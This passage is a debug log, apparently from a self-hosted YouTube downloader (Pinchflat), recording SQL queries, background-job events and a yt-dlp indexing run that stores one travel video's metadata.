s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:23.852 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:23.853 [debug] QUERY OK source="tasks" db=0.2ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:57:23.854 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:57:23.855 [debug] QUERY OK source="media_items" db=0.4ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:57:23.855 [debug] QUERY OK source="sources" db=0.2ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:57:23.857 [debug] QUERY OK source="media_items" db=0.8ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:57:23.858 [debug] QUERY OK source="media_items" db=1.0ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:57:23.859 [info] Sent 200 in 9ms 18:57:47.682 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.154 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:58:17.684 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:21.308 [info] GET / 18:58:21.308 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:58:21.308 [debug] QUERY OK source="settings" db=0.2ms idle=1526.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:21.309 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1526.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:58:21.309 [debug] QUERY OK source="sources" db=0.0ms idle=1526.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:58:21.309 [debug] QUERY OK source="media_items" db=0.3ms idle=851.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:58:21.309 [debug] QUERY OK source="media_items" db=0.2ms idle=527.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:58:21.310 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:21.310 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:21.311 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:21.311 [debug] QUERY OK source="tasks" db=0.1ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:58:21.312 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:58:21.312 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:58:21.313 [debug] QUERY OK source="sources" db=0.2ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:58:21.314 [debug] QUERY OK source="media_items" db=0.6ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:58:21.315 [debug] QUERY OK source="media_items" db=0.8ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:58:21.316 [info] Sent 200 in 8ms 18:58:47.686 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.155 [info] {"source":"oban","duration":307,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:59:16.545 [info] {"args":{"id":3},"id":17075,"meta":{},"system_time":1787191156545411539,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:59:16.546 [debug] QUERY OK source="sources" db=0.4ms idle=1763.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:16.546 [debug] QUERY OK source="settings" db=0.4ms idle=1009.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:16.547 [debug] QUERY OK source="media_items" db=0.6ms idle=764.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:59:16.548 [debug] QUERY OK source="media_items" db=0.3ms idle=9.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 18:59:16.548 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:16.548 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:16.549 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:16.550 [debug] QUERY OK source="media_items" db=0.6ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [3] 18:59:16.552 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 18:59:16.553 [debug] Current batch of media processed. Will check again in 1000ms 18:59:16.553 [debug] QUERY OK source="settings" db=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:16.553 [debug] QUERY OK source="settings" db=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:16.553 [debug] QUERY OK source="settings" db=0.0ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:16.553 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mikeokay --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Mike Okay/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/21/b8/21b85574aab87075d7af014998e8eec9c8da42c152afd32697912593f9cb0f41.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a0/cf/a0cf63cd04aa89c58b07c4cb9cfe2135f097dfb31000d368b6287c8a52624d1d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:59:17.553 [debug] Current batch of media processed. Will check again in 1000ms 18:59:17.688 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:18.554 [debug] Current batch of media processed. Will check again in 1000ms 18:59:19.555 [debug] Current batch of media processed. Will check again in 1000ms 18:59:20.556 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "duration" => 2174, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", "id" => "qYWhjW08-pc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qYWhjW08-pc", "playlist_index" => 1, "timestamp" => 1785508965, "title" => "China's Working Class Is Live-Streaming To Survive", "upload_date" => "20260731"} 18:59:20.557 [debug] QUERY OK source="sources" db=0.2ms idle=1014.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:20.557 [debug] QUERY OK source="sources" db=0.1ms idle=774.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:20.557 [debug] QUERY OK source="media_items" db=0.2ms idle=775.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-31 14:42:45Z], 3] 18:59:20.559 [debug] QUERY OK source="media_items" db=1.0ms idle=775.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "a13da7c6-f80d-449e-94da-f7fa8a9c219c", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", 1, "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, false, false, 3, [], 98, ~U[2026-07-31 14:42:45Z], ~U[2026-08-20 01:59:20Z], ~U[2026-08-20 01:59:20Z], "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, 3, ~U[2026-07-31 14:42:45Z]] 18:59:20.559 [debug] QUERY OK source="sources" db=0.1ms idle=15.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:20.560 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS 